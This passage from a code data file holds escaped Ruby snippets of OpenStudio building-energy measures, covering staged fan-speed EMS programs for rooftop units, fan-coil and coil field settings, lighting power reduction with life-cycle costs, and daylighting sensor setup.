Total Cooling Rate\")\r\n cc_sensor.setKeyName(cc_handle.to_s)\r\n cc_sensor.setName(\"#{cc_name}_cooling_rate\") \r\n if heating_coil_type == \"Gas Heating Coil\"\r\n hc_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Heating Coil Air Heating Rate\")\r\n hc_sensor.setKeyName(hc_handle.to_s)\r\n hc_sensor.setName(\"#{hc_name}_heating_rate\") \r\n else\r\n hc_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Heating Coil Total Heating Rate\")\r\n hc_sensor.setKeyName(hc_handle.to_s)\r\n hc_sensor.setName(\"#{hc_name}_heating_rate\")\r\n end\r\n ems_design_heat_internal = OpenStudio::Model::EnergyManagementSystemInternalVariable.new(model, \"Unitary HVAC Design Heating Capacity\")\r\n ems_design_heat_internal.setName(\"#{air_loop_hvac_unitary_system.name}_heating_cap\")\r\n ems_design_heat_internal.setInternalDataIndexKeyName(\"#{air_loop_hvac_unitary_system.name}\")\r\n \r\n ems_design_cool_internal = OpenStudio::Model::EnergyManagementSystemInternalVariable.new(model, \"Unitary HVAC Design Cooling Capacity\")\r\n ems_design_cool_internal.setName(\"#{air_loop_hvac_unitary_system.name}_cooling_cap\")\r\n ems_design_cool_internal.setInternalDataIndexKeyName(\"#{air_loop_hvac_unitary_system.name}\")\r\n \r\n zone_init_program = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\r\n zone_init_program.setName(\"#{term_zone_name}_Initialization_Prgm\") \r\n zone_init_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = null\")\r\n zone_init_program.addLine(\"SET #{terminal_actuator_handle} = null\")\r\n \r\n vent_control_program = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\r\n vent_control_program.setName(\"#{term_zone_name}_Vent_Ctrl_Prgm\") \r\n vent_control_program.addLine(\"IF CurrentEnvironment > #{dd}\")\r\n vent_control_program.addLine(\"SET Current_Cooling_Capacity = #{cc_sensor.handle}\")\r\n vent_control_program.addLine(\"SET Current_Heating_Capacity = #{hc_sensor.handle}\")\r\n vent_control_program.addLine(\"SET Design_Fan_Mass_Flow = #{fan_mass_flow_rate_handle}\")\r\n vent_control_program.addLine(\"IF (Current_Cooling_Capacity == 0 && Current_Heating_Capacity == 0)\")\r\n vent_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{vent_fan_speed} * Design_Fan_Mass_Flow)\")\r\n vent_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n vent_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n vent_control_program.addLine(\"ENDIF\")\r\n vent_control_program.addLine(\"ENDIF\")\r\n \r\n cc_control_program = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\r\n if cooling_coil_type == \"Two-Stage Compressor\"\r\n cc_control_program.setName(\"#{term_zone_name}_CC_Ctrl_Prgm\") \r\n cc_control_program.addLine(\"IF CurrentEnvironment > #{dd}\")\r\n cc_control_program.addLine(\"SET Design_CC_Capacity = #{ems_design_cool_internal.handle}\")\r\n cc_control_program.addLine(\"SET Current_Cooling_Capacity = #{cc_sensor.handle}\")\r\n cc_control_program.addLine(\"SET Design_Fan_Mass_Flow = #{fan_mass_flow_rate_handle}\")\r\n cc_control_program.addLine(\"IF (Current_Cooling_Capacity > 0 && Current_Cooling_Capacity <= (0.5 * Design_CC_Capacity))\")\r\n cc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_one_cooling_fan_speed} * Design_Fan_Mass_Flow)\")\r\n cc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n cc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n cc_control_program.addLine(\"ELSEIF Current_Cooling_Capacity > (0.5 * Design_CC_Capacity)\")\r\n cc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_two_cooling_fan_speed} * Design_Fan_Mass_Flow)\")\r\n cc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n cc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n cc_control_program.addLine(\"ENDIF\") \r\n cc_control_program.addLine(\"ENDIF\") \r\n elsif cooling_coil_type == \"Four-Stage Compressor\" \r\n cc_control_program.setName(\"#{term_zone_name}_CC_Ctrl_Prgm\") \r\n cc_control_program.addLine(\"IF CurrentEnvironment > #{dd}\")\r\n cc_control_program.addLine(\"SET Design_CC_Capacity = #{ems_design_cool_internal.handle}\")\r\n cc_control_program.addLine(\"SET Current_Cooling_Capacity = #{cc_sensor.handle}\")\r\n cc_control_program.addLine(\"SET Design_Fan_Mass_Flow = #{fan_mass_flow_rate_handle}\")\r\n cc_control_program.addLine(\"IF (Current_Cooling_Capacity > 0 && Current_Cooling_Capacity <= (0.25 * Design_CC_Capacity))\")\r\n cc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_one_cooling_fan_speed} * Design_Fan_Mass_Flow)\")\r\n cc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n cc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n cc_control_program.addLine(\"ELSEIF (Current_Cooling_Capacity > (0.25 * Design_CC_Capacity) && Current_Cooling_Capacity <= (0.50 * Design_CC_Capacity))\")\r\n cc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_two_cooling_fan_speed} * Design_Fan_Mass_Flow)\")\r\n cc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n cc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n cc_control_program.addLine(\"ELSEIF (Current_Cooling_Capacity > (0.50 * Design_CC_Capacity) && Current_Cooling_Capacity <= (0.75 * Design_CC_Capacity))\")\r\n cc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_three_cooling_fan_speed} * Design_Fan_Mass_Flow)\")\r\n cc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n cc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n cc_control_program.addLine(\"ELSEIF Current_Cooling_Capacity > (0.75 * Design_CC_Capacity)\")\r\n cc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_four_cooling_fan_speed} * Design_Fan_Mass_Flow)\")\r\n cc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n cc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n cc_control_program.addLine(\"ENDIF\") \r\n cc_control_program.addLine(\"ENDIF\") \r\n end\r\n \r\n hc_control_program = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\r\n if heating_coil_type == \"Gas Heating Coil\"\r\n hc_control_program.setName(\"#{term_zone_name}_HC_Ctrl_Prgm\")\r\n hc_control_program.addLine(\"IF CurrentEnvironment > #{dd}\")\r\n hc_control_program.addLine(\"SET Current_Heating_Capacity = #{hc_sensor.handle}\")\r\n hc_control_program.addLine(\"SET Design_Fan_Mass_Flow = #{fan_mass_flow_rate_handle}\")\r\n hc_control_program.addLine(\"IF Current_Heating_Capacity > 0\")\r\n hc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = Design_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n hc_control_program.addLine(\"ENDIF\")\t \r\n hc_control_program.addLine(\"ENDIF\") \r\n elsif heating_coil_type == \"Heat Pump\"\r\n if cooling_coil_type == \"Two-Stage Compressor\"\r\n hc_control_program.setName(\"#{term_zone_name}_HC_Ctrl_Prgm\") \r\n hc_control_program.addLine(\"IF CurrentEnvironment > #{dd}\")\r\n hc_control_program.addLine(\"SET Design_HC_Capacity = #{ems_design_cool_internal.handle}\")\r\n hc_control_program.addLine(\"SET Current_Heating_Capacity = #{hc_sensor.handle}\")\r\n hc_control_program.addLine(\"SET Design_Fan_Mass_Flow = #{fan_mass_flow_rate_handle}\")\r\n hc_control_program.addLine(\"IF (Current_Heating_Capacity > 0 && Current_Heating_Capacity <= (0.50 * Design_HC_Capacity))\")\r\n hc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_one_heating_fan_speed} * Design_Fan_Mass_Flow)\")\r\n hc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n hc_control_program.addLine(\"ELSEIF Current_Heating_Capacity > (0.50 * Design_HC_Capacity)\")\r\n hc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_two_heating_fan_speed} * Design_Fan_Mass_Flow)\")\r\n hc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n hc_control_program.addLine(\"ENDIF\") \r\n hc_control_program.addLine(\"ENDIF\") \r\n elsif cooling_coil_type == \"Four-Stage Compressor\"\r\n hc_control_program.setName(\"#{term_zone_name}_HC_Ctrl_Prgm\") \r\n hc_control_program.addLine(\"IF CurrentEnvironment > #{dd}\")\r\n hc_control_program.addLine(\"SET Design_HC_Capacity = #{ems_design_cool_internal.handle}\")\r\n hc_control_program.addLine(\"SET Current_Heating_Capacity = #{hc_sensor.handle}\")\r\n hc_control_program.addLine(\"SET Design_Fan_Mass_Flow = #{fan_mass_flow_rate_handle}\")\r\n hc_control_program.addLine(\"IF (Current_Heating_Capacity > 0 && Current_Heating_Capacity <= (0.25 * Design_HC_Capacity))\")\r\n hc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_one_heating_fan_speed} * Design_Fan_Mass_Flow)\")\r\n hc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n hc_control_program.addLine(\"ELSEIF (Current_Heating_Capacity > (0.25 * Design_HC_Capacity) && Current_Heating_Capacity <= (0.50 * Design_HC_Capacity))\")\r\n hc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_two_heating_fan_speed} * Design_Fan_Mass_Flow)\")\r\n hc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n hc_control_program.addLine(\"ELSEIF (Current_Heating_Capacity > (0.50 * Design_HC_Capacity) && Current_Heating_Capacity <= (0.75 * Design_HC_Capacity))\")\r\n hc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_three_heating_fan_speed} * Design_Fan_Mass_Flow)\")\r\n hc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n hc_control_program.addLine(\"ELSEIF Current_Heating_Capacity > (0.75 * Design_HC_Capacity)\")\r\n hc_control_program.addLine(\"SET Timestep_Fan_Mass_Flow = (#{stage_four_heating_fan_speed} * Design_Fan_Mass_Flow)\")\r\n hc_control_program.addLine(\"SET #{terminal_actuator_handle} = Timestep_Fan_Mass_Flow\")\r\n hc_control_program.addLine(\"SET #{fan_mass_flow_actuator_handle} = Timestep_Fan_Mass_Flow, !- Added for test of two actuator code\")\r\n hc_control_program.addLine(\"ENDIF\") \r\n hc_control_program.addLine(\"ENDIF\") \r\n end\r\n end\r\n \r\n pcm = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\r\n pcm.setName(\"#{term_zone_name} Control Program\")\r\n pcm.setCallingPoint(\"AfterPredictorBeforeHVACManagers\")\r\n pcm.addProgram(zone_init_program)\r\n pcm.addProgram(vent_control_program)\r\n pcm.addProgram(cc_control_program)\r\n pcm.addProgram(hc_control_program)\r\n\r\n end # Next selected airloop\r\n #add Output:EnergyManagementSystem to model\r\n out_ems = model.getOutputEnergyManagementSystem()\r\n #out_ems.setEMSRuntimeLanguageDebugOutputLevel(\"Verbose\")\r\n \r\n # Report final condition of model\r\n final_air_loop_handles = OpenStudio::StringVector.new\r\n final_air_loop_display_names = OpenStudio::StringVector.new\r\n final_air_loop_display_names, final_air_loop_handles = airloop_chooser(model)\r\n runner.registerFinalCondition(\"The building finished with #{final_air_loop_handles.size} constant-speed RTUs.\") \r\n \r\n return true\r\n \r\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n return true\n end",
"def run(model, runner, user_arguments)\n\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign user inputs to variables, convert from strings to floating point, convert to SI units\n string = runner.getStringArgumentValue('string', user_arguments)\n\n #fcu_sched = TODO\n fcu_sa_flow = runner.getDoubleArgumentValue('fcu_sa_flow', user_arguments)\n fcu_sa_flow_si = OpenStudio.convert(fcu_sa_flow, 'ft^3/min', 'm^3/s').get\n fcu_sa_rat_low = runner.getDoubleArgumentValue('fcu_sa_rat_low', user_arguments)\n fcu_sa_rat_med = runner.getDoubleArgumentValue('fcu_sa_rat_med', user_arguments)\n fcu_oa_flow = runner.getDoubleArgumentValue('fcu_oa_flow', user_arguments)\n fcu_oa_flow_si = OpenStudio.convert(fcu_oa_flow, 'ft^3/min', 'm^3/s').get\n #fcu_oa_sched = TODO\n fcu_cw_flow_max = runner.getDoubleArgumentValue('fcu_cw_flow_max', user_arguments)\n fcu_cw_flow_max_si = OpenStudio.convert(fcu_cw_flow_max, 'gal/min', 'm^3/s').get\n fcu_cw_flow_min = runner.getDoubleArgumentValue('fcu_cw_flow_min', user_arguments)\n fcu_cw_flow_min_si = OpenStudio.convert(fcu_cw_flow_min, 'gal/min', 'm^3/s').get\n fcu_clg_tol = runner.getDoubleArgumentValue('fcu_clg_tol', user_arguments)\n fcu_hw_flow_max = runner.getDoubleArgumentValue('fcu_hw_flow_max', user_arguments)\n fcu_hw_flow_max_si = OpenStudio.convert(fcu_hw_flow_max, 'gal/min', 'm^3/s').get\n fcu_hw_flow_min = runner.getDoubleArgumentValue('fcu_hw_flow_min', user_arguments)\n fcu_hw_flow_min_si = OpenStudio.convert(fcu_hw_flow_min, 'gal/min', 'm^3/s').get\n fcu_htg_tol = runner.getDoubleArgumentValue('fcu_htg_tol', user_arguments)\n\n #cc_sched = TODO\n cc_wtr_flow = runner.getDoubleArgumentValue('cc_wtr_flow', user_arguments)\n cc_wtr_flow_si = OpenStudio.convert(cc_wtr_flow, 'gal/min', 'm^3/s').get\n cc_air_flow = runner.getDoubleArgumentValue('cc_air_flow', user_arguments)\n cc_air_flow_si = OpenStudio.convert(cc_air_flow, 'ft^2/min', 'm^3/s').get\n cc_ewt = runner.getDoubleArgumentValue('cc_ewt', user_arguments)\n cc_ewt_si = OpenStudio.convert(cc_ewt, 'F', 'C').get\n cc_eat = runner.getDoubleArgumentValue('cc_eat', user_arguments)\n cc_eat_si = OpenStudio.convert(cc_eat, 'F', 'C').get\n cc_lat = runner.getDoubleArgumentValue('cc_lat', user_arguments)\n cc_lat_si = OpenStudio.convert(cc_lat, 'F', 'C').get\n cc_humrat_in = runner.getDoubleArgumentValue('cc_humrat_in', user_arguments)\n cc_humrat_out = runner.getDoubleArgumentValue('cc_humrat_out', user_arguments)\n cc_analysis = runner.getStringArgumentValue('cc_analysis', user_arguments)\n cc_config = runner.getStringArgumentValue('cc_config', user_arguments)\n\n #hc_sched = TODO\n hc_ua = runner.getDoubleArgumentValue('hc_ua', user_arguments)\n hc_ua_si = OpenStudio.convert(hc_ua, 'Btu/hF', 'W/K').get\n hc_wtr_flow_max = runner.getDoubleArgumentValue('hc_wtr_flow_max', user_arguments)\n hc_wtr_flow_max_si = OpenStudio.convert(hc_wtr_flow_max, 'gal/min', 'm^3/s').get\n hc_perf = runner.getStringArgumentValue('hc_perf', user_arguments)\n hc_cap = runner.getDoubleArgumentValue('hc_cap', user_arguments)\n hc_cap_si = OpenStudio.convert(hc_cap, 'Btu/h', 'W').get\n hc_ewt = runner.getDoubleArgumentValue('hc_ewt', user_arguments)\n hc_ewt_si = OpenStudio.convert(hc_ewt, 'F', 'C').get\n hc_eat = runner.getDoubleArgumentValue('hc_eat', user_arguments)\n hc_eat_si = OpenStudio.convert(hc_eat, 'F', 'C').get\n hc_lwt = runner.getDoubleArgumentValue('hc_lwt', user_arguments)\n hc_lwt_si = OpenStudio.convert(hc_lwt, 'F', 'C').get\n hc_lat = runner.getDoubleArgumentValue('hc_lat', user_arguments)\n hc_lat_si = OpenStudio.convert(hc_lat, 'F', 'C').get\n hc_conv_ratio = runner.getDoubleArgumentValue('hc_conv_ratio', user_arguments)\n\n # MAIN BLOCK\n\n # get model objects\n fcus = model.getZoneHVACFourPipeFanCoils\n clg_coils = model.getCoilCoolingWaters\n htg_coils = model.getCoilHeatingWaters\n\n # initial conditions\n runner.registerInitialCondition('Number of FCUs in the model = #{fcus.size}')\n\n # initialize variables\n counter = 0\n error = false\n\n fcus.each do |fcu|\n\n if fcu.name.to_s.include? string or string == '*.*'\n runner.registerInfo('Setting #{fcu.name} fields')\n\n # getcomponents\n cc = fcu.coolingCoil.to_CoilCoolingWater.get\n hc = fcu.heatingCoil.to_CoilHeatingWater.get\n\n # set fcu fields\n #if fcu_sched TODO\n if fcu_sa_flow > 0\n fcu.setMaximumSupplyAirFlowRate(fcu_sa_flow_si)\n end\n if fcu_sa_rat_low > 0\n fcu.setLowSpeedSupplyAirFlowRatio(fcu_sa_rat_low)\n end\n if fcu_sa_rat_med > 0\n fcu.setMediumSpeedSupplyAirFlowRatio(fcu_sa_rat_med)\n end\n if fcu_oa_flow > 0\n fcu.setMaximumOutdoorAirFlowRate(fcu_oa_flow_si)\n end\n #if fcu_oa_sched TODO fcu.setOutdoorAirSchedule()\n if fcu_cw_flow_max > 0\n fcu.setMaximumColdWaterFlowRate(fcu_cw_flow_max_si)\n end\n if fcu_cw_flow_min > 0\n fcu.setMinimumColdWaterFlowRate(fcu_cw_flow_min_si)\n end\n if fcu_clg_tol > 0\n fcu.setCoolingConvergenceTolerance(fcu_clg_tol)\n end\n if fcu_hw_flow_max > 0\n fcu.setMaximumHotWaterFlowRate(fcu_hw_flow_max_si)\n end\n if fcu_hw_flow_min > 0\n fcu.setMinimumHotWaterFlowRate(fcu_hw_flow_min_si)\n end\n if fcu_htg_tol > 0\n fcu.setHeatingConvergenceTolerance(fcu_htg_tol)\n end\n\n # set clg coil fields\n #if cc_sched TODO\n if cc_wtr_flow > 0\n cc.setDesignWaterFlowRate(cc_wtr_flow_si)\n end\n if cc_air_flow > 0\n cc.setDesignAirFlowRate(cc_air_flow_si)\n end\n if cc_ewt_si > 0\n cc_coil.setDesignInletWaterTemperature(cc_ewt_si)\n end\n if cc_eat_si > 0\n cc_coil.setDesignInletAirTemperature(cc_eat_si)\n end\n if cc_lat_si > 0\n cc_coil.setDesignOutletAirTemperature(cc_lat_si)\n end\n if cc_humrat_in > 0\n cc.setDesignInletAirHumidityRatio(cc_humrat_in)\n end\n if cc_humrat_out > 0\n cc.setDesignOutletAirHumidityRatio(cc_humrat_out)\n end\n cc.setTypeOfAnalysis(cc_analysis)\n cc.\tsetHeatExchangerConfiguration(cc_config)\n\n # set htg coil fields\n #if hc_sched TODO\n if hc_ua > 0\n hc.setUFactorTimesAreaValue(hc_ua_si)\n end\n if hc_wtr_flow_max > 0\n hc.setMaximumWaterFlowRate(hc_wtr_flow_max_si)\n end\n hc.setPerformanceInputMethod(hc_perf)\n if hc_cap > 0\n hc.setRatedCapacity(hc_cap_si)\n end\n if hc_ewt_si > 0\n htg_coil.setRatedInletWaterTemperature(hc_ewt_si)\n end\n if hc_eat_si > 0\n htg_coil.setRatedInletAirTemperature(hc_eat_si)\n end\n if hc_lwt_si > 0\n htg_coil.setRatedOutletWaterTemperature(hc_lwt_si)\n end\n if hc_lat_si > 0\n htg_coil.setRatedOutletAirTemperature(hc_lat_si)\n end\n if hc_conv_ratio > 0\n hc.setRatedRatioForAirAndWaterConvection(hc_conv_ratio)\n end\n\n counter += 1\n\n else\n\n error = true\n\n end\n\n end #main\n\n if error == true\n runner.registerError('String not found.')\n end\n\n # final conditions\n runner.registerFinalCondition('Number of FCUs changed = #{counter}')\n\n return true\n\n end",
"def modeler_description\n return 'Passes in all arguments from the options lookup, processes them, and then registers values to the runner to be used by other measures.'\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n object = runner.getOptionalWorkspaceObjectChoiceValue(\"light_def\",user_arguments,model)\n lighting_power_reduction_percent = runner.getDoubleArgumentValue(\"lighting_power_reduction_percent\",user_arguments)\n material_and_installation_cost = runner.getDoubleArgumentValue(\"material_and_installation_cost\",user_arguments)\n expected_life = runner.getIntegerArgumentValue(\"expected_life\",user_arguments)\n om_cost = runner.getDoubleArgumentValue(\"om_cost\",user_arguments)\n om_frequency = runner.getIntegerArgumentValue(\"om_frequency\",user_arguments)\n\n #check the lighting_def for reasonableness and see if measure should run on just lighting_def or on the entire building\n apply_to_building = false\n lights_def = nil\n luminaire_def = nil\n if object.empty?\n handle = runner.getStringArgumentValue(\"lighting_def\",user_arguments)\n if handle.empty?\n runner.registerError(\"No lighting definition was chosen.\")\n else\n runner.registerError(\"The selected lighting definition with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not object.get.to_LightsDefinition.empty?\n lights_def = object.get.to_LightsDefinition.get\n elsif not object.get.to_LuminaireDefinition.empty?\n luminaire_def = object.get.to_LuminaireDefinition.get\n elsif not object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as lighting definition, luminaire definition, or building.\")\n return false\n end\n end\n object = object.get\n\n #check the lighting_power_reduction_percent and for reasonableness\n if lighting_power_reduction_percent > 100\n runner.registerError(\"Please Enter a Value less than or equal to 100 for the Lighting Power Reduction Percentage.\")\n return false\n elsif lighting_power_reduction_percent == 0\n runner.registerInfo(\"No lighting power adjustment requested, but some life cycle costs may still be affected.\")\n elsif lighting_power_reduction_percent < 1 and lighting_power_reduction_percent > -1\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{lighting_power_reduction_percent} percent is abnormally low.\")\n elsif lighting_power_reduction_percent > 90\n runner.registerWarning(\"A Lighting Power Reduction Percentage of #{lighting_power_reduction_percent} percent is abnormally high.\")\n elsif lighting_power_reduction_percent < 0\n runner.registerInfo(\"The requested value for lighting power reduction percentage was negative. This will result in an increase in lighting power.\")\n end\n\n #check lifecycle cost arguments for reasonableness\n if material_and_installation_cost < -100\n runner.registerError(\"Material and Installation Cost percentage increase can't be less than -100.\")\n return false\n end\n\n if expected_life < 1\n runner.registerError(\"Enter an integer greater than or equal to 1 for Expected Life.\")\n return false\n end\n\n if om_cost < -100\n runner.registerError(\"O & M Cost percentage increase can't be less than -100.\")\n return false\n end\n\n if om_frequency < 1\n runner.registerError(\"Choose an integer greater than 0 for O & M Frequency.\")\n end\n \n #helper to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). The definition be called through this measure.\n def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end #end def neat_numbers\n \n #report initial condition\n building = model.getBuilding\n building_lighting_power = building.lightingPower\n building_LPD = OpenStudio::convert(building.lightingPowerPerFloorArea,\"W/m^2\",\"W/ft^2\")\n runner.registerInitialCondition(\"The model's initial building lighting power was #{neat_numbers(building_lighting_power,0)} watts, a lighting power density of #{neat_numbers(building_LPD)} W/ft^2.\")\n\n #apply to lights in model\n if apply_to_building\n model.getLightsDefinitions.each do |lights_def|\n reduceLightsDefinition(lights_def, lighting_power_reduction_percent)\n end\n model.getLuminaireDefinitions.each do |luminaire_def|\n reduceLuminaireDefinition(luminaire_def, lighting_power_reduction_percent)\n end\n elsif lights_def\n reduceLightsDefinition(lights_def, lighting_power_reduction_percent)\n elsif luminaire_def\n reduceLuminaireDefinition(luminaire_def, lighting_power_reduction_percent)\n end\n \n # add costs\n if material_and_installation_cost != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"#{object.name.to_s} Lighting Reduction\", building, material_and_installation_cost, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add construction costs.\")\n end\n end\n \n if om_cost != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"#{object.name.to_s} Lighting Maintenance\", building, om_cost, \"CostPerEach\", \"Maintenance\", om_frequency, om_frequency)\n if cost.empty?\n runner.registerError(\"Failed to add maintenance costs.\")\n end\n end\n\n #report final condition\n final_building = model.getBuilding\n final_building_lighting_power = final_building.lightingPower\n final_building_LPD = OpenStudio::convert(final_building.lightingPowerPerFloorArea,\"W/m^2\",\"W/ft^2\")\n runner.registerFinalCondition(\"The model's final lighting power was #{neat_numbers(final_building_lighting_power,0)} watts, a lighting power density of #{neat_numbers(final_building_LPD)} W/ft^2. Initial capital costs associated with the improvements are $#{material_and_installation_cost}.\")\n\n return true\n\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure\n \n return args\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n setpoint = runner.getDoubleArgumentValue(\"setpoint\",user_arguments)\n control_type = runner.getStringArgumentValue(\"control_type\",user_arguments)\n min_power_fraction = runner.getDoubleArgumentValue(\"min_power_fraction\",user_arguments)\n min_light_fraction = runner.getDoubleArgumentValue(\"min_light_fraction\",user_arguments)\n height = runner.getDoubleArgumentValue(\"height\",user_arguments)\n\n\n #check the setpoint for reasonableness\n if setpoint < 0 or setpoint > 9999 #dfg need input on good value\n runner.registerError(\"A setpoint of #{setpoint} foot-candles is outside the measure limit.\")\n return false\n elsif setpoint > 999\n runner.registerWarning(\"A setpoint of #{setpoint} foot-candles is abnormally high.\") #dfg need input on good value\n end\n\n #check the min_power_fraction for reasonableness\n if min_power_fraction < 0.0 or min_power_fraction > 0.6\n runner.registerError(\"The requested minimum input power fraction of #{min_power_fraction} for continuous dimming control is outside the acceptable range of 0 to 0.6.\")\n return false\n end\n\n #check the min_light_fraction for reasonableness\n if min_light_fraction < 0.0 or min_light_fraction > 0.6\n runner.registerError(\"The requested minimum light output fraction of #{min_light_fraction} for continuous dimming control is outside the acceptable range of 0 to 0.6.\")\n return false\n end\n\n #check the height for reasonableness\n if height < -360 or height > 360 # neg ok because space origin may not be floor\n runner.registerError(\"A setpoint of #{height} inches is outside the measure limit.\")\n return false\n elsif height > 72\n runner.registerWarning(\"A setpoint of #{height} inches is abnormally high.\")\n elseif height < 0\n runner.registerWarning(\"Typically the sensor height should be a positive number, however if your space origin is above the floor then a negative sensor height may be approriate.\")\n end\n\n #unit conversion from IP units to SI units\n setpoint_si = OpenStudio.convert(setpoint,'fc','lux').get\n height_si = OpenStudio.convert(height,'in','m').get\n\n #variable to tally the area to which the overall measure is applied\n area = 0\n #variables to aggregate the number of sensors installed and the area affected\n sensor_count = 0\n sensor_area = 0\n #array with subset of spaces\n spaces_selected_without_sensors = []\n affected_zones = []\n affected_zone_names = []\n #hash to hold sensor objects\n new_sensor_objects = {}\n\n num_spaces_selected = 0\n spaces_selected = []\n model.getSpaces.each do |space|\n next if not runner.inSelection(space)\n spaces_selected << space \n end\n \n if spaces_selected.size == 0\n runner.registerAsNotApplicable(\"No spaces were selected. Please select spaces to add daylight sensors.\")\n end\n\n #reporting initial condition of model\n runner.registerInitialCondition(\"#{spaces_selected.size} spaces selected.\")\n\n #test that there is no sensor already in the space, and that zone object doesn't already have sensors assigned.\n \n \n spaces_selected.each do |space|\n if space.daylightingControls.length == 0\n space_zone = space.thermalZone\n if not space_zone.empty?\n 